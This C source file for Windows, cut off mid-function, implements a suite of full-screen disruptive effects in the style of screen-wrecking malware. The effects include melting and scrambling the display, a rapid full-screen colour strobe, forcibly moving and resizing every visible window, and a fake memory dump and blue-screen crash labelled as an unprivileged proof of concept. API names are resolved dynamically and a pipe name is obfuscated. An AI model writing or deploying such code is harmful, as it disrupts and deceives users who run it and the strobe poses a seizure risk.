#include <windows.h>
#include <tlhelp32.h>
#include <math.h>
#include <stdlib.h>

typedef HDC      (WINAPI *PFN_GetDC)(HWND);
typedef HDC      (WINAPI *PFN_GetDCEx)(HWND,HRGN,DWORD);
typedef int      (WINAPI *PFN_ReleaseDC)(HWND,HDC);
typedef BOOL     (WINAPI *PFN_PatBlt)(HDC,int,int,int,int,DWORD);
typedef BOOL     (WINAPI *PFN_BitBlt)(HDC,int,int,int,int,HDC,int,int,DWORD);
typedef BOOL     (WINAPI *PFN_StretchBlt)(HDC,int,int,int,int,HDC,int,int,int,int,DWORD);
typedef HBRUSH   (WINAPI *PFN_CreateSolidBrush)(COLORREF);
typedef HFONT    (WINAPI *PFN_CreateFontW)(int,int,int,int,int,DWORD,DWORD,DWORD,DWORD,DWORD,DWORD,DWORD,DWORD,LPCWSTR);
typedef BOOL     (WINAPI *PFN_TextOutW)(HDC,int,int,LPCWSTR,int);
typedef HPEN     (WINAPI *PFN_CreatePen)(int,int,COLORREF);
typedef HGDIOBJ  (WINAPI *PFN_SelectObject)(HDC,HGDIOBJ);
typedef BOOL     (WINAPI *PFN_DeleteObject)(HGDIOBJ);
typedef int      (WINAPI *PFN_SetBkMode)(HDC,int);
typedef COLORREF (WINAPI *PFN_SetTextColor)(HDC,COLORREF);
typedef COLORREF (WINAPI *PFN_SetBkColor)(HDC,COLORREF);
typedef BOOL     (WINAPI *PFN_MoveToEx)(HDC,int,int,LPPOINT);
typedef BOOL     (WINAPI *PFN_LineTo)(HDC,int,int);
typedef BOOL     (WINAPI *PFN_SetWindowPos)(HWND,HWND,int,int,int,int,UINT);
typedef LONG     (WINAPI *PFN_SetWindowLongW)(HWND,int,LONG);
typedef LONG     (WINAPI *PFN_GetWindowLongW)(HWND,int);
typedef HWND     (WINAPI *PFN_GetTopWindow)(HWND);
typedef HWND     (WINAPI *PFN_GetWindow)(HWND,UINT);
typedef BOOL     (WINAPI *PFN_GetWindowRect)(HWND,LPRECT);
typedef BOOL     (WINAPI *PFN_IsWindowVisible)(HWND);
typedef int      (WINAPI *PFN_GetSystemMetrics)(int);
typedef BOOL     (WINAPI *PFN_InvalidateRect)(HWND,CONST RECT*,BOOL);
typedef HWND     (WINAPI *PFN_GetDesktopWindow)(void);
typedef HDC      (WINAPI *PFN_CreateCompatibleDC)(HDC);
typedef HBITMAP  (WINAPI *PFN_CreateCompatibleBitmap)(HDC,int,int);
typedef int      (WINAPI *PFN_GetDIBits)(HDC,HBITMAP,UINT,UINT,void*,BITMAPINFO*,UINT);
typedef int      (WINAPI *PFN_StretchDIBits)(HDC,int,int,int,int,int,int,int,int,CONST void*,CONST BITMAPINFO*,UINT,DWORD);
typedef BOOL     (WINAPI *PFN_DeleteDC)(HDC);
typedef SHORT    (WINAPI *PFN_GetAsyncKeyState)(int);
typedef BOOL     (WINAPI *PFN_MoveWindow)(HWND,int,int,int,int,BOOL);

static HMODULE g_u32=NULL, g_g32=NULL;
#define APIU(name) ((PFN_##name)GetProcAddress(g_u32,#name))
#define APIG(name) ((PFN_##name)GetProcAddress(g_g32,#name))

static volatile LONG g_stop=0;
#define SHOULD_STOP() (InterlockedCompareExchange(&g_stop,0,0)!=0)
#define CHK_ESC() do { \
    PFN_GetAsyncKeyState _f=(PFN_GetAsyncKeyState)GetProcAddress(g_u32,"GetAsyncKeyState"); \
    if(_f&&(_f(VK_ESCAPE)&0x8000)) InterlockedExchange(&g_stop,1); \
} while(0)

static int g_sw=1920, g_sh=1080;

static volatile LONG g_rng=0x12345678;
static unsigned int xrand(void){
    LONG v=InterlockedCompareExchange(&g_rng,0,0);
    v^=v<<13; v^=v>>17; v^=v<<5;
    InterlockedExchange(&g_rng,v);
    return (unsigned int)v;
}
#define RNG(n) ((int)(xrand()%(unsigned)(n)))

static void get_pipe_name(WCHAR *out){
    const WCHAR pre[]=L"\\\\.\\pipe\\";
    const BYTE enc[]={0x7c,0x62,0x7c,0x71,0x5f,0x71,0x60,0x7c,0x74,0x79};
    wcscpy(out,pre);
    WCHAR *p=out+9;
    for(int i=0;i<10;i++) p[i]=(WCHAR)(enc[i]^0x11);
    p[10]=0;
}

static BYTE *alloc_buf(int w,int h){
    return (BYTE*)VirtualAlloc(NULL,(SIZE_T)w*h*4,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
}
static void make_bmi(BITMAPINFO *b,int w,int h){
    ZeroMemory(b,sizeof(BITMAPINFO));
    b->bmiHeader.biSize=sizeof(BITMAPINFOHEADER);
    b->bmiHeader.biWidth=w; b->bmiHeader.biHeight=-h;
    b->bmiHeader.biPlanes=1; b->bmiHeader.biBitCount=32;
    b->bmiHeader.biCompression=BI_RGB;
}
static BOOL cap(HDC sdc,BYTE *buf,int w,int h){
    BITMAPINFO bmi; make_bmi(&bmi,w,h);
    HDC mdc=APIG(CreateCompatibleDC)(sdc);
    HBITMAP bm=APIG(CreateCompatibleBitmap)(sdc,w,h);
    APIG(SelectObject)(mdc,bm);
    APIG(BitBlt)(mdc,0,0,w,h,sdc,0,0,SRCCOPY);
    int ok=APIG(GetDIBits)(mdc,bm,0,(UINT)h,buf,&bmi,DIB_RGB_COLORS);
    APIG(DeleteDC)(mdc); APIG(DeleteObject)(bm);
    return ok>0;
}
static void blit(HDC sdc,const BYTE *buf,int w,int h){
    BITMAPINFO bmi; make_bmi(&bmi,w,h);
    APIG(StretchDIBits)(sdc,0,0,w,h,0,0,w,h,buf,&bmi,DIB_RGB_COLORS,SRCCOPY);
}
static int get_wins(HWND *arr,int max){
    int n=0; HWND hw=APIU(GetTopWindow)(NULL);
    while(hw&&n<max){if(APIU(IsWindowVisible)(hw))arr[n++]=hw;hw=APIU(GetWindow)(hw,GW_HWNDNEXT);}
    return n;
}

static DWORD WINAPI fx_meltdown(void *u){
    HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
    BYTE *src=alloc_buf(g_sw,g_sh); if(!src){APIU(ReleaseDC)(NULL,sdc);return 0;}
    cap(sdc,src,g_sw,g_sh);
    int *off=(int*)VirtualAlloc(NULL,g_sw*sizeof(int),MEM_COMMIT,PAGE_READWRITE);
    int *spd=(int*)VirtualAlloc(NULL,g_sw*sizeof(int),MEM_COMMIT,PAGE_READWRITE);
    if(!off||!spd) goto e0;
    for(int x=0;x<g_sw;x++){off[x]=0;spd[x]=1+RNG(4);}
    for(int f=0;f<500&&!SHOULD_STOP();f++){
        CHK_ESC();
        for(int x=0;x<g_sw&&!SHOULD_STOP();x+=2){
            spd[x]+=(f>200)?2:0; off[x]+=spd[x];
            if(off[x]>g_sh) off[x]=g_sh;
            int ch=g_sh-off[x];
            if(ch>0){BITMAPINFO b2;make_bmi(&b2,g_sw,g_sh);APIG(StretchDIBits)(sdc,x,off[x],2,ch,x,0,2,ch,src,&b2,DIB_RGB_COLORS,SRCCOPY);}
        }
        Sleep(8);
    }
e0: if(off)VirtualFree(off,0,MEM_RELEASE);
    if(spd)VirtualFree(spd,0,MEM_RELEASE);
    if(src)VirtualFree(src,0,MEM_RELEASE);
    APIU(ReleaseDC)(NULL,sdc); return 0;
}

static DWORD WINAPI fx_strobe(void *u){
    HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
    COLORREF c[]={RGB(255,0,0),RGB(0,255,0),RGB(0,0,255),RGB(255,255,0),RGB(0,255,255),RGB(255,0,255),RGB(255,128,0),RGB(128,0,255),RGB(0,255,128),RGB(255,255,255),RGB(0,0,0),RGB(255,0,128)};
    for(int t=0;t<800&&!SHOULD_STOP();t++){
        CHK_ESC();
        HBRUSH br=APIG(CreateSolidBrush)(c[t%12]);
        APIG(SelectObject)(sdc,br); APIG(PatBlt)(sdc,0,0,g_sw,g_sh,PATCOPY);
        APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(br);
        Sleep(4);
    }
    APIU(ReleaseDC)(NULL,sdc); return 0;
}

static DWORD WINAPI fx_resize(void *u){
    HWND wins[256]; int wc=get_wins(wins,256);
    for(int t=0;t<400&&!SHOULD_STOP();t++){
        CHK_ESC();
        for(int i=0;i<wc&&!SHOULD_STOP();i++){
            if(!APIU(IsWindowVisible)(wins[i])) continue;
            int x=RNG(g_sw),y=RNG(g_sh),w=80+RNG(g_sw-80),h=60+RNG(g_sh-60);
            APIU(MoveWindow)(wins[i],x,y,w,h,FALSE);
            APIU(SetWindowPos)(wins[i],HWND_TOPMOST,x,y,w,h,SWP_NOACTIVATE|SWP_ASYNCWINDOWPOS);
        }
        Sleep(30);
    }
    return 0;
}

static DWORD WINAPI fx_chromatic(void *u){
    HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
    BYTE *src=alloc_buf(g_sw,g_sh),*dst=alloc_buf(g_sw,g_sh);
    if(!src||!dst) goto e3;
    cap(sdc,src,g_sw,g_sh);
    int s=g_sw*4;
    for(int f=0;f<400&&!SHOULD_STOP();f++){
        CHK_ESC();
        int ro=(int)(sinf(f*0.09f)*40),bo=(int)(cosf(f*0.07f)*35);
        int rvy=(int)(cosf(f*0.05f)*20),bvy=(int)(sinf(f*0.08f)*15);
        for(int y=0;y<g_sh;y++) for(int x=0;x<g_sw;x++){
            int rx=x-ro,ry=y-rvy,bx=x-bo,by=y-bvy;
            if(rx<0)rx=0;if(rx>=g_sw)rx=g_sw-1;if(ry<0)ry=0;if(ry>=g_sh)ry=g_sh-1;
            if(bx<0)bx=0;if(bx>=g_sw)bx=g_sw-1;if(by<0)by=0;if(by>=g_sh)by=g_sh-1;
            dst[y*s+x*4+2]=src[ry*s+rx*4+2];
            dst[y*s+x*4+1]=src[y*s+x*4+1];
            dst[y*s+x*4+0]=src[by*s+bx*4+0];
            dst[y*s+x*4+3]=0;
        }
        blit(sdc,dst,g_sw,g_sh); Sleep(10);
    }
e3: if(src)VirtualFree(src,0,MEM_RELEASE);
    if(dst)VirtualFree(dst,0,MEM_RELEASE);
    APIU(ReleaseDC)(NULL,sdc); return 0;
}

static DWORD WINAPI fx_memdump(void *u){
    HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
    HBRUSH blk=APIG(CreateSolidBrush)(RGB(0,0,0));
    APIG(SelectObject)(sdc,blk); APIG(PatBlt)(sdc,0,0,g_sw,g_sh,PATCOPY);
    APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(blk);
    HFONT f=APIG(CreateFontW)(13,0,0,0,FW_NORMAL,0,0,0,DEFAULT_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,NONANTIALIASED_QUALITY,FIXED_PITCH,L"Courier New");
    APIG(SelectObject)(sdc,f); APIG(SetBkMode)(sdc,OPAQUE); APIG(SetBkColor)(sdc,RGB(0,0,0));
    WCHAR ln[128]; unsigned int addr=0xFFFF8000;
    for(int row=0;row<200&&!SHOULD_STOP();row++){
        CHK_ESC();
        int y=(row%((g_sh-60)/14))*14;
        APIG(SetTextColor)(sdc,row%7==0?RGB(255,0,0):row%5==0?RGB(255,255,0):RGB(0,220,0));
        wsprintfW(ln,L"%08X: %04X %04X %04X %04X %04X %04X %04X %04X",addr,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF);
        APIU(TextOutW)(sdc,0,y,ln,(int)wcslen(ln)); addr+=16; Sleep(8);
    }
    HBRUSH blue=APIG(CreateSolidBrush)(RGB(0,0,170));
    APIG(SelectObject)(sdc,blue); APIG(PatBlt)(sdc,0,0,g_sw,g_sh,PATCOPY);
    APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(blue);
    HFONT big=APIG(CreateFontW)(32,0,0,0,FW_BOLD,0,0,0,DEFAULT_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,ANTIALIASED_QUALITY,DEFAULT_PITCH,L"Consolas");
    APIG(SelectObject)(sdc,big); APIG(SetBkMode)(sdc,TRANSPARENT); APIG(SetTextColor)(sdc,RGB(255,255,255));
    const WCHAR *bsod[]={L":( Your PC ran into a problem.",L"",L"MEMORY_MANAGEMENT  (0x0000001A)",L"",L"MSRC_POC_UNPRIVILEGED_CHAOS"};
    int ty=g_sh/6;
    for(int i=0;i<5;i++){APIU(TextOutW)(sdc,60,ty,bsod[i],(int)wcslen(bsod[i]));ty+=44;}
    HFONT med=APIG(CreateFontW)(24,0,0,0,FW_NORMAL,0,0,0,DEFAULT_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,ANTIALIASED_QUALITY,DEFAULT_PITCH,L"Consolas");
    APIG(SelectObject)(sdc,med);
    for(int pct=0;pct<=100&&!SHOULD_STOP();pct++){
        CHK_ESC();
        WCHAR prog[32]; wsprintfW(prog,L"% 3d%% complete",pct);
        HBRUSH eb=APIG(CreateSolidBrush)(RGB(0,0,170));
        APIG(SelectObject)(sdc,eb); APIG(PatBlt)(sdc,60,g_sh*3/4,400,30,PATCOPY);
        APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(eb);
        APIU(TextOutW)(sdc,60,g_sh*3/4,prog,(int)wcslen(prog));
        HBRUSH wb=APIG(CreateSolidBrush)(RGB(255,255,255));
        APIG(SelectObject)(sdc,wb); APIG(PatBlt)(sdc,60,g_sh*3/4+36,(g_sw-120)*pct/100,8,PATCOPY);
        APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(wb);
        Sleep(60);
    }
    APIG(DeleteObject)(f); APIG(DeleteObject)(big); APIG(DeleteObject)(med);
    APIU(ReleaseDC)(NULL,sdc); return 0;
}

static DWORD WINAPI fx_scramble(void *u){
    HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
    HDC mdc=APIG(CreateCompatibleDC)(sdc);
    HBITMAP bm=APIG(CreateCompatibleBitmap)(sdc,g_sw,g_sh);
    APIG(SelectObject)(mdc,bm);
    int TW=80,TH=60,cols=g_sw/TW,ntiles=cols*(g_sh/TH);
    int *idx=(int*)VirtualAlloc(NULL,ntiles*sizeof(int),MEM_COMMIT,PAGE_READWRITE);
    if(!idx) goto e5;
    for(int f=0;f<500&&!SHOULD_STOP();f++){
        CHK_ESC();
        APIG(BitBlt)(mdc,0,0,g_sw,g_sh,sdc,0,0,SRCCOPY);
        for(int i=0;i<ntiles;i++) idx[i]=i;
        for(int i=ntiles-1;i>0;i--){int j=RNG(i+1);int t=idx[i];idx[i]=idx[j];idx[j]=t;}
        for(int i=0;i<ntiles&&!SHOULD_STOP();i++)
            APIG(BitBlt)(sdc,(idx[i]%cols)*TW,(idx[i]/cols)*TH,TW,TH,mdc,(i%cols)*TW,(i/cols)*TH,SRCCOPY);
        Sleep(16);
    }
e5: if(idx)VirtualFree(idx,0,MEM_RELEASE);
    APIG(DeleteDC)(mdc); APIG(DeleteObject)(bm); APIU(ReleaseDC)(NULL,sdc); return 0;
}

static DWORD WINAPI fx_bounce(void *u){
    HWND wins[128]; int wc=get_wins(wins,128); if(!wc) return 0;
    typedef struct{int x,y,vx,vy,w,h;}Ball;
    Ball *b=(Ball*)VirtualAlloc(NULL,wc*sizeof(Ball),MEM_COMMIT,PAGE_READWRITE); if(!b) return 0;
    HDC sdc=APIU(GetDC)(NULL);
    COLORREF hues[]={RGB(255,0,0),RGB(0,255,0),RGB(0,0,255),RGB(255,255,0),RGB(0,255,255),RGB(255,0,255)};
    for(int i=0;i<wc;i++){
        RECT r; APIU(GetWindowRect)(wins[i],&r);
        b[i].w=r.right-r.left;b[i].h=r.bottom-r.top;b[i].x=r.left;b[i].y=r.top;
        b[i].vx=8+RNG(14);b[i].vy=6+RNG(10);
        if(RNG(2))b[i].vx=-b[i].vx; if(RNG(2))b[i].vy=-b[i].vy;
    }
    for(int t=0;t<800&&!SHOULD_STOP();t++){
        CHK_ESC();
        for(int i=0;i<wc;i++){
            BOOL hit=FALSE;
            b[i].x+=b[i].vx;b[i].y+=b[i].vy;
            if(b[i].x<0){b[i].x=0;b[i].vx=abs(b[i].vx);hit=TRUE;}
            if(b[i].y<0){b[i].y=0;b[i].vy=abs(b[i].vy);hit=TRUE;}
            if(b[i].x+b[i].w>g_sw){b[i].x=g_sw-b[i].w;b[i].vx=-abs(b[i].vx);hit=TRUE;}
            if(b[i].y+b[i].h>g_sh){b[i].y=g_sh-b[i].h;b[i].vy=-abs(b[i].vy);hit=TRUE;}
            APIU(SetWindowPos)(wins[i],HWND_TOPMOST,b[i].x,b[i].y,0,0,SWP_NOSIZE|SWP_NOACTIVATE|SWP_ASYNCWINDOWPOS);
            if(hit&&sdc){
                HBRUSH fb=APIG(CreateSolidBrush)(hues[RNG(6)]);
                APIG(SelectObject)(sdc,fb);
                APIG(PatBlt)(sdc,b[i].x,b[i].y,b[i].w,4,PATCOPY);
                APIG(PatBlt)(sdc,b[i].x,b[i].y,4,b[i].h,PATCOPY);
                APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(fb);
            }
        }
        Sleep(10);
    }
    VirtualFree(b,0,MEM_RELEASE); if(sdc)APIU(ReleaseDC)(NULL,sdc); return 0;
}

static DWORD WINAPI fx_shake(void *u){
    HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
    BYTE *snap=alloc_buf(g_sw,g_sh); if(!snap){APIU(ReleaseDC)(NULL,sdc);return 0;}
    cap(sdc,snap,g_sw,g_sh);
    BITMAPINFO bmi; make_bmi(&bmi,g_sw,g_sh);
    for(int t=0;t<300&&!SHOULD_STOP();t++){
        CHK_ESC();
        int mag=10+t/3; if(mag>60)mag=60;
        APIG(StretchDIBits)(sdc,RNG(mag*2)-mag,RNG(mag*2)-mag,g_sw,g_sh,0,0,g_sw,g_sh,snap,&bmi,DIB_RGB_COLORS,SRCCOPY);
        HPEN rp=APIG(CreatePen)(PS_SOLID,2,RGB(220+RNG(35),0,0));
        APIG(SelectObject)(sdc,rp);
        for(int k=0;k<6;k++){
            int x0=RNG(g_sw),y0=RNG(g_sh);
            APIU(MoveToEx)(sdc,x0,y0,NULL);
            for(int s=0;s<10;s++){x0+=RNG(80)-40;y0+=RNG(100)-10;APIU(LineTo)(sdc,x0,y0);}
        }
        APIG(SelectObject)(sdc,GetStockObject(NULL_PEN)); APIG(DeleteObject)(rp);
        Sleep(12);
    }
    VirtualFree(snap,0,MEM_RELEASE); APIU(ReleaseDC)(NULL,sdc); return 0;
}

static DWORD WINAPI fx_matrix(void *u){
    HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
    int cols=g_sw/14;
    int *drop=(int*)VirtualAlloc(NULL,cols*sizeof(int),MEM_COMMIT,PAGE_READWRITE);
    int *spd=(int*)VirtualAlloc(NULL,cols*sizeof(int),MEM_COMMIT,PAGE_READWRITE);
    if(!drop||!spd) goto e8;
    for(int i=0;i<cols;i++){drop[i]=RNG(g_sh/14);spd[i]=1+RNG(3);}
    HFONT font=APIG(CreateFontW)(14,0,0,0,FW_BOLD,0,0,0,DEFAULT_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,NONANTIALIASED_QUALITY,FIXED_PITCH,L"Courier New");
    APIG(SelectObject)(sdc,font); APIG(SetBkMode)(sdc,OPAQUE);
    for(int t=0;t<700&&!SHOULD_STOP();t++){
        CHK_ESC();
        for(int c=0;c<cols;c++){
            if(t%spd[c]) continue;
            int bright=100+RNG(156);
            WCHAR ch[2]={(WCHAR)(0x30A0+RNG(96)),0};
            APIG(SetBkColor)(sdc,RGB(0,0,0)); APIG(SetTextColor)(sdc,RGB(bright/4,bright,bright/4));
            APIU(TextOutW)(sdc,c*14,drop[c]*14,ch,1);
            for(int k=1;k<12;k++){
                int ty=drop[c]-k; if(ty<0) break;
                WCHAR ch2[2]={(WCHAR)(0x30A0+RNG(96)),0};
                APIG(SetTextColor)(sdc,RGB(0,(12-k)*16,0));
                APIU(TextOutW)(sdc,c*14,ty*14,ch2,1);
            }
            drop[c]+=spd[c];
            if(drop[c]*14>g_sh){drop[c]=-(RNG(40));spd[c]=1+RNG(3);}
        }
        Sleep(16);
    }
    APIG(DeleteObject)(font);
e8: if(drop)VirtualFree(drop,0,MEM_RELEASE);
    if(spd)VirtualFree(spd,0,MEM_RELEASE);
    APIU(ReleaseDC)(NULL,sdc); return 0;
}

static void lbranch(HDC sdc,int x,int y,float ang,int len,int depth,COLORREF col){
    if(depth<=0||len<6) return;
    float rad=ang*3.14159f/180.0f;
    int nx=x+(int)(cosf(rad)*len),ny=y+(int)(sinf(rad)*len);
    HPEN p=APIG(CreatePen)(PS_SOLID,depth,col);
    APIG(SelectObject)(sdc,p); APIU(MoveToEx)(sdc,x,y,NULL); APIU(LineTo)(sdc,nx,ny);
    APIG(SelectObject)(sdc,GetStockObject(NULL_PEN)); APIG(DeleteObject)(p);
    float sp=20.0f+(float)RNG(40);
    lbranch(sdc,nx,ny,ang+sp,(int)(len*0.65f),depth-1,col);
    lbranch(sdc,nx,ny,ang-sp,(int)(len*0.65f),depth-1,col);
    if(RNG(3)==0) lbranch(sdc,nx,ny,ang+(float)(RNG(60)-30),(int)(len*0.4f),depth-2,col);
}
static DWORD WINAPI fx_lightning(void *u){
    HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
    COLORREF ac[]={RGB(0,200,255),RGB(255,0,200),RGB(200,255,0),RGB(255,150,0),RGB(0,255,200),RGB(255,255,255)};
    for(int t=0;t<200&&!SHOULD_STOP();t++){
        CHK_ESC();
        HBRUSH db=APIG(CreateSolidBrush)(RGB(0,0,0));
        APIG(SelectObject)(sdc,db); APIG(PatBlt)(sdc,0,0,g_sw,g_sh,PATINVERT); APIG(PatBlt)(sdc,0,0,g_sw,g_sh,PATINVERT);
        APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(db);
        for(int a=0;a<3+RNG(4);a++)
            lbranch(sdc,RNG(g_sw),RNG(g_sh/3),70.0f+(float)(RNG(40)-20),g_sh/2+RNG(g_sh/3),6,ac[RNG(6)]);
        Sleep(50);
    }
    APIU(ReleaseDC)(NULL,sdc); return 0;
}

static DWORD WINAPI fx_static(void *u){
    HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
    int W=g_sw/2,H=g_sh/2,s=W*4;
    BYTE *buf=alloc_buf(W,H); if(!buf){APIU(ReleaseDC)(NULL,sdc);return 0;}
    BITMAPINFO bmi; make_bmi(&bmi,W,H);
    COLORREF bc[]={RGB(255,0,255),RGB(0,255,255),RGB(255,255,0),RGB(255,0,100),RGB(100,0,255),RGB(0,255,100)};
    for(int f=0;f<500&&!SHOULD_STOP();f++){
        CHK_ESC();
        for(int i=0;i<W*H;i++){
            unsigned int v=xrand();
            if(i&15){BYTE l=v&0xFF;buf[i*4]=buf[i*4+1]=buf[i*4+2]=l;}
            else{buf[i*4]=(BYTE)v;buf[i*4+1]=(BYTE)(v>>8);buf[i*4+2]=(BYTE)(v>>16);}
            buf[i*4+3]=0;
        }
        for(int b=0;b<4+RNG(6);b++){
            COLORREF col=bc[RNG(6)];
            BYTE br=col&0xFF,bg=(col>>8)&0xFF,bb=(col>>16)&0xFF;
            int x0=RNG(W-10),y0=RNG(H-10),bw=10+RNG(W/3),bh=5+RNG(H/3);
            if(x0+bw>W)bw=W-x0; if(y0+bh>H)bh=H-y0;
            BYTE al=(BYTE)(100+RNG(155));
            for(int y=y0;y<y0+bh;y++) for(int x=x0;x<x0+bw;x++){
                int idx=y*s+x*4;
                buf[idx]=(BYTE)(((int)buf[idx]*(256-al)+(int)br*al)>>8);
                buf[idx+1]=(BYTE)(((int)buf[idx+1]*(256-al)+(int)bg*al)>>8);
                buf[idx+2]=(BYTE)(((int)buf[idx+2]*(256-al)+(int)bb*al)>>8);
            }
        }
        APIG(StretchDIBits)(sdc,0,0,g_sw,g_sh,0,0,W,H,buf,&bmi,DIB_RGB_COLORS,SRCCOPY);
        Sleep(8);
    }
    VirtualFree(buf,0,MEM_RELEASE); APIU(ReleaseDC)(NULL,sdc); return 0;
}

static DWORD WINAPI fx_wormhole(void *u){
    HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
    HDC mdc=APIG(CreateCompatibleDC)(sdc);
    HBITMAP bm=APIG(CreateCompatibleBitmap)(sdc,g_sw,g_sh); APIG(SelectObject)(mdc,bm);
    COLORREF h[]={RGB(0,0,60),RGB(0,60,0),RGB(60,0,0),RGB(0,40,60),RGB(40,0,60)};
    COLORREF fc[]={RGB(255,0,255),RGB(0,255,255),RGB(255,255,0)};
    for(int f=0;f<500&&!SHOULD_STOP();f++){
        CHK_ESC();
        APIG(BitBlt)(mdc,0,0,g_sw,g_sh,sdc,0,0,SRCCOPY);
        HBRUSH tb=APIG(CreateSolidBrush)(h[(f/30)%5]);
        APIG(SelectObject)(mdc,tb); APIG(PatBlt)(mdc,0,0,g_sw,g_sh,PATINVERT);
        APIG(SelectObject)(mdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(tb);
        int bx=12+f%8,by=8+f%6;
        APIG(StretchBlt)(sdc,bx,by,g_sw-2*bx,g_sh-2*by,mdc,0,0,g_sw,g_sh,SRCCOPY);
        if(f%15==0){
            HBRUSH fb=APIG(CreateSolidBrush)(fc[(f/15)%3]);
            APIG(SelectObject)(sdc,fb);
            APIG(PatBlt)(sdc,0,0,g_sw,by,PATCOPY); APIG(PatBlt)(sdc,0,g_sh-by,g_sw,by,PATCOPY);
            APIG(PatBlt)(sdc,0,0,bx,g_sh,PATCOPY); APIG(PatBlt)(sdc,g_sw-bx,0,bx,g_sh,PATCOPY);
            APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(fb);
        }
        Sleep(16);
    }
    APIG(DeleteDC)(mdc); APIG(DeleteObject)(bm); APIU(ReleaseDC)(NULL,sdc); return 0;
}

static DWORD WINAPI fx_invwave(void *u){
    HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
    BYTE *buf=alloc_buf(g_sw,g_sh),*out=alloc_buf(g_sw,g_sh);
    if(!buf||!out) goto e12;
    cap(sdc,buf,g_sw,g_sh);
    int s=g_sw*4;
    for(int f=0;f<400&&!SHOULD_STOP();f++){
        CHK_ESC();
        float ph=f*0.05f,ws=(float)f/400.0f;
        for(int y=0;y<g_sh;y++){
            float bnd=ws*g_sw+sinf((float)y*0.018f+ph)*100.0f;
            for(int x=0;x<g_sw;x++){
                BYTE *sr=buf+y*s+x*4,*d=out+y*s+x*4;
                if((float)x<bnd){d[0]=255-sr[0];d[1]=255-sr[1];d[2]=255-sr[2];}
                else{d[0]=sr[0];d[1]=sr[1];d[2]=sr[2];}
                d[3]=0;
            }
        }
        blit(sdc,out,g_sw,g_sh); Sleep(10);
    }
e12:if(buf)VirtualFree(buf,0,MEM_RELEASE);
    if(out)VirtualFree(out,0,MEM_RELEASE);
    APIU(ReleaseDC)(NULL,sdc); return 0;
}

static int _cb(const void *a,const void *b){
    const BYTE*pa=a,*pb=b;
    return ((int)pa[0]+(int)pa[1]+(int)pa[2])-((int)pb[0]+(int)pb[1]+(int)pb[2]);
}
static DWORD WINAPI fx_pixelsort(void *u){
    HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
    BYTE *buf=alloc_buf(g_sw,g_sh);
    BYTE *col=(BYTE*)VirtualAlloc(NULL,g_sh*4,MEM_COMMIT,PAGE_READWRITE);
    if(!buf||!col) goto e13;
    cap(sdc,buf,g_sw,g_sh);
    int s=g_sw*4;
    for(int pass=1;pass<=g_sw&&!SHOULD_STOP();pass+=3){
        CHK_ESC();
        for(int x=0;x<pass&&x<g_sw;x++){
            for(int y=0;y<g_sh;y++){col[y*4+0]=buf[y*s+x*4];col[y*4+1]=buf[y*s+x*4+1];col[y*4+2]=buf[y*s+x*4+2];col[y*4+3]=0;}
            qsort(col,g_sh,4,_cb);
            for(int y=0;y<g_sh;y++){buf[y*s+x*4]=col[y*4];buf[y*s+x*4+1]=col[y*4+1];buf[y*s+x*4+2]=col[y*4+2];}
        }
        blit(sdc,buf,g_sw,g_sh); Sleep(6);
    }
e13:if(buf)VirtualFree(buf,0,MEM_RELEASE);
    if(col)VirtualFree(col,0,MEM_RELEASE);
    APIU(ReleaseDC)(NULL,sdc); return 0;
}

static DWORD WINAPI fx_textcrawl(void *u){
    HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
    HFONT font=APIG(CreateFontW)(48,0,0,0,FW_BOLD,0,0,0,DEFAULT_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,ANTIALIASED_QUALITY,DEFAULT_PITCH,L"Impact");
    APIG(SelectObject)(sdc,font); APIG(SetBkMode)(sdc,TRANSPARENT);
    const WCHAR *m[]={L"SYSTEM FAILURE",L"MEMORY CORRUPT",L"ACCESS DENIED",L"KERNEL PANIC",L"FATAL ERROR",L"0xDEADBEEF",L"MSRC POC",L"NO ADMIN NEEDED",L"PROCESS INJECTED",L"?!?!?!?!"};
    COLORREF cc[]={RGB(255,0,0),RGB(255,255,0),RGB(0,255,255),RGB(255,0,255),RGB(255,128,0),RGB(255,255,255)};
    for(int t=0;t<600&&!SHOULD_STOP();t++){
        CHK_ESC();
        float a=t*0.15f,r=30.0f+t*1.8f; if(r>g_sw)r=g_sw;
        APIG(SetTextColor)(sdc,cc[t%6]);
        const WCHAR *msg=m[t%10];
        APIU(TextOutW)(sdc,g_sw/2+(int)(cosf(a)*r),g_sh/2+(int)(sinf(a)*r*0.55f),msg,(int)wcslen(msg));
        Sleep(12);
    }
    APIG(DeleteObject)(font); APIU(ReleaseDC)(NULL,sdc); return 0;
}

static DWORD WINAPI fx_tornado(void *u){
